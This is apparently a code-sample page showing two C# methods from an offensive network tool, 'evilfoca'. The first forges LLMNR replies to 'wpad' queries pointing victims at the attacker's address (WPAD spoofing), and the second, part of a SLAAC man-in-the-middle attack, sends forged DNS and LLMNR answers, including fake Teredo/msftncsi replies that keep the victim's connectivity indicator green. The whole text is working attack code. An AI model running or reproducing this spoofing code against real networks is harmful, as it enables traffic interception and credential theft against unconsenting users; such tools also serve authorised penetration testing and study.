示例#1
0
        public void GenerateLLMNRResponse(Packet packet)
        {
            try
            {
                LLMNR.LLMNRPacket llmnr = new LLMNR.LLMNRPacket();
                llmnr.ParsePacket(((UdpPacket)(packet.PayloadPacket.PayloadPacket)).PayloadData);
                if (llmnr.Query.Name.ToLower().Equals("wpad") && (llmnr.Query.Type.Value == LLMNR.DNSType.AAAA || llmnr.Query.Type.Value == LLMNR.DNSType.A))
                {

                    WinPcapDevice dev = Program.CurrentProject.data.GetDevice();
                    IPAddress ip = Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(dev);
                    byte[] ipv6Addr = ip.GetAddressBytes();

                    llmnr.AnswerList.Add(new LLMNR.DNSAnswer()
                    {
                        Class = evilfoca.LLMNR.DNSClass.IN,
                        Name = llmnr.Query.Name,
                        Type = evilfoca.LLMNR.DNSType.AAAA,
                        RData = ipv6Addr,
                        RDLength = (short)ipv6Addr.Length,
                        TTL = 12
                    });
                    llmnr.IsResponse = true;


                    EthernetPacket ethDns = new EthernetPacket(dev.MacAddress, ((EthernetPacket)packet).SourceHwAddress, EthernetPacketType.IpV6);
                    IPv6Packet ipv6Dns = new IPv6Packet(ip, ((IPv6Packet)((EthernetPacket)packet).PayloadPacket).SourceAddress);
                    UdpPacket udpDns = new UdpPacket(((UdpPacket)(packet.PayloadPacket.PayloadPacket)).DestinationPort, ((UdpPacket)(packet.PayloadPacket.PayloadPacket)).SourcePort);

                    udpDns.PayloadData = llmnr.BuildPacket();

                    ipv6Dns.PayloadPacket = udpDns;


                    udpDns.UpdateCalculatedValues();
                    udpDns.UpdateUDPChecksum();

                    ipv6Dns.UpdateCalculatedValues();
                    ethDns.PayloadPacket = ipv6Dns;
                    Program.CurrentProject.data.SendPacket(ethDns);
                }
            }
            catch (Exception)
            {
            }
        }
示例#2
0
        private void DNSCheck(Packet p)
        {
            EthernetPacket ethernet = (EthernetPacket)p;
            if (p.PayloadPacket.PayloadPacket is UdpPacket)
            {
                UdpPacket udp = p.PayloadPacket.PayloadPacket as UdpPacket;
                attacks.Where(a => a.attackType == AttackType.SlaacMitm).ToList().ForEach(currentAttack =>
                    {
                        MitmAttack mitmAttack = currentAttack as MitmAttack;

                        if (p.PayloadPacket is IPv6Packet)
                        {
                            switch (udp.DestinationPort)
                            {
                                case 53:
                                    Heijden.DNS.Response response = new Heijden.DNS.Response(new IPEndPoint(IPAddress.Parse("1.2.3.4"), 53), udp.PayloadData);
                                    var aaaaDns = (from q in response.Questions
                                                   where q.QType == Heijden.DNS.QType.AAAA || q.QType == Heijden.DNS.QType.A
                                                   select q).ToList();

                                    //Para mostrar la pelotita de conexión a internet OK, respondemos al paquete Teredo de Microsoft en formato A.
                                    var aTeredoDns = (from q in response.Questions
                                                      where q.QType == Heijden.DNS.QType.A
                                                      && (q.QName.ToLower().Contains("teredo") || q.QName.ToLower().Contains("msftncsi"))
                                                      select q).ToList();

                                    if (aaaaDns != null && aaaaDns.Count > 0)
                                    {
                                        DNS.IPv6Query query = new DNS.IPv6Query(udp.PayloadData);
                                        string q = query.name;
                                        IPAddress[] ips = Dns.GetHostAddresses(q);

                                        DNS.IPv6Response resp = new DNS.IPv6Response(DNS.IPv6Query.Type.Ipv6, query.transID, query.nameDnsFormat, ips[0]);
                                        byte[] respByteAr = resp.GeneratePacket();

                                        EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4);
                                        IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress);
                                        UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort);

                                        udpDns.PayloadData = respByteAr;
                                        ipv6Dns.PayloadPacket = udpDns;
                                        ethDns.PayloadPacket = ipv6Dns;

                                        udpDns.UpdateCalculatedValues();
                                        udpDns.UpdateUDPChecksum();
                                        ipv6Dns.UpdateCalculatedValues();
                                        Program.CurrentProject.data.SendPacket(ethDns);

                                    }
                                    else if (aTeredoDns != null && aTeredoDns.Count > 0)
                                    {
                                        DNS.IPv6Query query = new DNS.IPv6Query(udp.PayloadData);
                                        string q = query.name;
                                        IPAddress[] ips = Dns.GetHostAddresses(q);

                                        DNS.IPv6Response resp = new DNS.IPv6Response(DNS.IPv6Query.Type.Ipv4, query.transID, query.nameDnsFormat, ips[0]);
                                        byte[] respByteAr = resp.GeneratePacket();

                                        EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4);
                                        IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress);
                                        UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort);

                                        udpDns.PayloadData = respByteAr;
                                        ipv6Dns.PayloadPacket = udpDns;
                                        ethDns.PayloadPacket = ipv6Dns;

                                        udpDns.UpdateCalculatedValues();
                                        udpDns.UpdateUDPChecksum();
                                        ipv6Dns.UpdateCalculatedValues();
                                        Program.CurrentProject.data.SendPacket(ethDns);
                                    }
                                    break;
                                case 5355:
                                    LLMNR.LLMNRPacket llmnr = new LLMNR.LLMNRPacket();
                                    llmnr.ParsePacket(udp.PayloadData);
                                    if (llmnr.Query.Type.HasValue && llmnr.Query.Type.Value == LLMNR.DNSType.AAAA)
                                    {
                                        IPAddress[] ips = (from ip in Dns.GetHostAddresses(llmnr.Query.Name)
                                                           where ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork
                                                           select ip).ToArray();
                                        byte[] ipv6Addr = new byte[] { 0x00,0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0xff,0xff,
                                                                        (byte)ips[0].GetAddressBytes()[0],(byte)ips[0].GetAddressBytes()[1],
                                                                        (byte)ips[0].GetAddressBytes()[2] ,(byte)ips[0].GetAddressBytes()[3] };

                                        llmnr.AnswerList.Add(new LLMNR.DNSAnswer()
                                        {
                                            Class = evilfoca.LLMNR.DNSClass.IN,
                                            Name = llmnr.Query.Name,
                                            Type = evilfoca.LLMNR.DNSType.AAAA,
                                            RData = ipv6Addr,
                                            RDLength = (short)ipv6Addr.Length
                                        });


                                        EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4);
                                        IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress);
                                        UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort);

                                        udpDns.PayloadData = llmnr.BuildPacket();

                                        ipv6Dns.PayloadPacket = udpDns;
                                        ethDns.PayloadPacket = ipv6Dns;

                                        udpDns.UpdateCalculatedValues();
                                        udpDns.UpdateUDPChecksum();
                                        ipv6Dns.UpdateCalculatedValues();
                                        Program.CurrentProject.data.SendPacket(ethDns);
                                    }
                                    break;
                                default:
                                    break;
                            }

                        }
                    });
            }
        }